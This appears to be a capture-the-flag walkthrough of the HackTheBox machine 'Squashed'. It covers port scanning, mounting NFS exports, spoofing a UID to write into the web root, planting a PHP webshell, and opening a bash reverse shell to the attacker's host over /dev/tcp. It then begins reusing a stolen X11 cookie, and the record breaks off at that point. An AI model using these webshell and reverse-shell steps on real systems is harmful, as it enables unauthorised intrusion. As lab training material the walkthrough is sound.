Nmap
Discovered open port 22/tcp on 10.10.11.191
Discovered open port 2049/tcp on 10.10.11.191
Discovered open port 56405/tcp on 10.10.11.191
Discovered open port 111/tcp on 10.10.11.191
Discovered open port 41585/tcp on 10.10.11.191
Discovered open port 39787/tcp on 10.10.11.191
Discovered open port 80/tcp on 10.10.11.191
Discovered open port 55841/tcp on 10.10.11.191
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 38017/udp mountd
| 100005 1,2,3 38441/udp6 mountd
| 100005 1,2,3 39221/tcp6 mountd
| 100005 1,2,3 57809/tcp mountd
| 100021 1,3,4 34926/udp nlockmgr
| 100021 1,3,4 35429/tcp6 nlockmgr
| 100021 1,3,4 41527/tcp nlockmgr
| 100021 1,3,4 50850/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
41527/tcp open nlockmgr 1-4 (RPC #100021)
43109/tcp open mountd 1-3 (RPC #100005)
57809/tcp open mountd 1-3 (RPC #100005)
58777/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 HTTP
Nothing too interesting on the page. None of the links go anywhere.
The page loads as / and as /index.html, suggesting this is a static site.
The response headers don’t give much else either:
HTTP/1.1 200 OK
Date: Fri, 11 Nov 2022 19:53:02 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 11 Nov 2022 19:50:01 GMT
ETag: "7f14-5ed3732081048-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 32532
Connection: close
Content-Type: text/html
Directory busting:
feroxbuster --url http://10.10.11.191/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x py,html,config,conf,txt,php,dev,backup,bak,pcap,properties,jpg,png,jpeg,pdf,db,js -k -C 403
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.191/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💢 Status Code Filters │ [403]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [py, html, config, conf, txt, php, dev, backup, bak, pcap, properties, jpg, png, jpeg, pdf, db, js]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 9l 28w 313c http://10.10.11.191/images
200 580l 1870w 32532c http://10.10.11.191/index.html
200 13l 91w 3164c http://10.10.11.191/images/logo.png
301 9l 28w 310c http://10.10.11.191/css
301 9l 28w 309c http://10.10.11.191/js
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_10_11_191_-1688297577.state ...
[>-------------------] - 2m 54017/15879240 10h found:5 errors:161
[>-------------------] - 2m 20124/3969810 157/s http://10.10.11.191/
[>-------------------] - 2m 21132/3969810 166/s http://10.10.11.191/images
[>-------------------] - 1m 10404/3969810 154/s http://10.10.11.191/css
[>-------------------] - 25s 2394/3969810 94/s http://10.10.11.191/js
Nothin’ good
Port 2049 NFS
showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
It looks like both the ross user’s home directory and the web root.
I’ll mount the /home/ross share using mount:
sudo mount -t nfs 10.10.11.191:/home/ross /mnt
[sudo] password for xi:
total 64
drwxr-xr-x 14 1001 xi 4096 Jul 2 14:02 .
drwxr-xr-x 1 root root 386 May 15 16:22 ..
lrwxrwxrwx 1 root root 9 Oct 20 2022 .bash_history -> /dev/null
drwx------ 11 1001 xi 4096 Oct 21 2022 .cache
drwx------ 12 1001 xi 4096 Oct 21 2022 .config
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Desktop
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Documents
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Downloads
drwx------ 3 1001 xi 4096 Oct 21 2022 .gnupg
drwx------ 3 1001 xi 4096 Oct 21 2022 .local
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Music
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Pictures
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Public
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Templates
drwxr-xr-x 2 1001 xi 4096 Oct 21 2022 Videos
lrwxrwxrwx 1 root root 9 Oct 21 2022 .viminfo -> /dev/null
-rw------- 1 1001 xi 57 Jul 2 14:02 .Xauthority
-rw------- 1 1001 xi 2475 Jul 2 14:02 .xsession-errors
-rw------- 1 1001 xi 2475 Dec 27 2022 .xsession-errors.old
Not much to look at here
I’ll create a dummy account on my machine with id 1001
sudo useradd dummy
uid=1001(0x11hacks) gid=1002(0x11hacks) groups=1002(0x11hacks)
There is a .Xauthority file in the home directory. This is a binary file, but I can take a peak with xxd to view it as hex:
$ xxd .Xauthority
00000000: 0100 000c 7371 7561 7368 6564 2e68 7462 ....squashed.htb
00000010: 0001 3000 124d 4954 2d4d 4147 4943 2d43 ..0..MIT-MAGIC-C
00000020: 4f4f 4b49 452d 3100 109b b800 5119 147c OOKIE-1.....Q..|
00000030: 5435 a179 5d30 2561 ad T5.y]0%a.
We’ll use that to get root
I’ll unmount the home directory and mount the web root:
sudo mount -t nfs 10.10.11.191:/var/www/html /mnt
133456 4 drwxr-xr-- 5 2017 www-data 4096 Jul 2 15:00 /mnt
find: ‘/mnt/.htaccess’: Permission denied
find: ‘/mnt/index.html’: Permission denied
find: ‘/mnt/images’: Permission denied
find: ‘/mnt/css’: Permission denied
find: ‘/mnt/js’: Permission denied
ls: cannot access '/mnt/index.html': Permission denied
ls: cannot access '/mnt/images': Permission denied
ls: cannot access '/mnt/css': Permission denied
ls: cannot access '/mnt/js': Permission denied
total 0
?????????? ? ? ? ? ? css
?????????? ? ? ? ? ? images
?????????? ? ? ? ? ? index.html
?????????? ? ? ? ? ? js
Looking at the directory itself, it seems to be owned by userid 2017 and groupid of www-data on my system, which is 33
cat /etc/group | grep www-data
www-data:x:33:
User
The web root is owned by userid 2017, and groupid 33. I’ll set my dummy userid to 2017, and drop into a shell as dummy:
sudo usermod -u 2017 dummy
sudo su dummy -c bash
bash: cannot set terminal process group (168647): Inappropriate ioctl for device
bash: no job control in this shell
┌─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
└──╼ $ls -l /mnt
total 44
drwxr-xr-x 2 0x11hacks www-data 4096 Jul 2 2023 css
drwxr-xr-x 2 0x11hacks www-data 4096 Jul 2 2023 images
-rw-r----- 1 0x11hacks www-data 32532 Jul 2 2023 index.html
drwxr-xr-x 2 0x11hacks www-data 4096 Jul 2 2023 js
┌─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
Now that I can access the web root, can I write files to it? It seems like I can:
┌─[✗]─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
└──╼ $echo "Test?" > /mnt/0x11.html
┌─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
└──╼ $
Even though the site isn’t running any obvious PHP, it’s worth taking a shot and seeing it the web server will execute PHP. I’ll write a small PHP file that just echos a message back:
┌─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
└──╼ $echo -e '<?php\n echo "0x11 was here!";\n?>' > /mnt/poc.php
┌─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
└──╼ $
I’ll overwrite poc.php with a proper simple PHP webshell:
echo -e '<?php\n system($_REQUEST['cmd']);\n?>' > /mnt/poc.php
┌─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
└──╼ $echo -e '<?php\n system($_REQUEST['cmd']);\n?>' > /mnt/poc.php
┌─[0x11hacks@onlyfans]─[/home/xi/htb/squashed]
└──╼ $
curl http://10.10.11.191/poc.php\?cmd\=id
uid=2017(alex) gid=2017(alex) groups=2017(alex)
To go from this webshell to a full reverse shell, I’ll just pass in a bash reverse shell as cmd:
bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'
Listening on 0.0.0.0 443
Connection received on 10.10.11.191 37384
bash: cannot set terminal process group (1083): Inappropriate ioctl for device
bash: no job control in this shell
alex@squashed:/var/www/html$
Root
The HackTricks page on pentesting X11 has a ton of good info here, much of which I’ll be using in the following steps.
I noted above that there was a .Xauthority file in alex’s home directory. This is a cookie file used by X11 for authorization. This StackOverflow post / response has a lot of good information on how these cookies are use. There are five types of cookies, including:
That post also says:
I’ll want to know what display is currently connected. This can be found with the w command from my shell as alex
alex@squashed:/home/alex$ w
w
12:57:03 up 1:54, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 11:02 1:54m 10.61s 0.04s /usr/libexec/gnome-session-binary --systemd --session=gnome
ross is logged in and using display :0.
To see if the cookie works, I’ll try to run some enumeration commands like xdpyinfo and xwininfo. If I try to run these from my shell as alex without any auth, they both fail:
alex@squashed:/home/alex$ xdpyinfo -display :0
No protocol specified
xdpyinfo: unable to open display ":0".
alex@squashed:/home/alex$ xwininfo -root -tree -display :0
No protocol specified
xwininfo: error: unable to open display ":0"
I’ll fetch a copy of the cookie from the NFS mount and save it on
Squashed so that it can be used from the session as alex. From the NFS
mount on my host, I’ll run python3 -m http.server 80 (with sudo if necessary) to start a Python webserver in that directory on my host.
From the shell as alex, I’ll fetch this file with curl, and write it to /tmp:
alex@squashed:/home/alex$ curl http://10.10.14.6/.Xauthority -o /tmp/.Xauthority
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 57 100 57 0 0 111 0 --:--:-- --:--:-- --:--:-- 111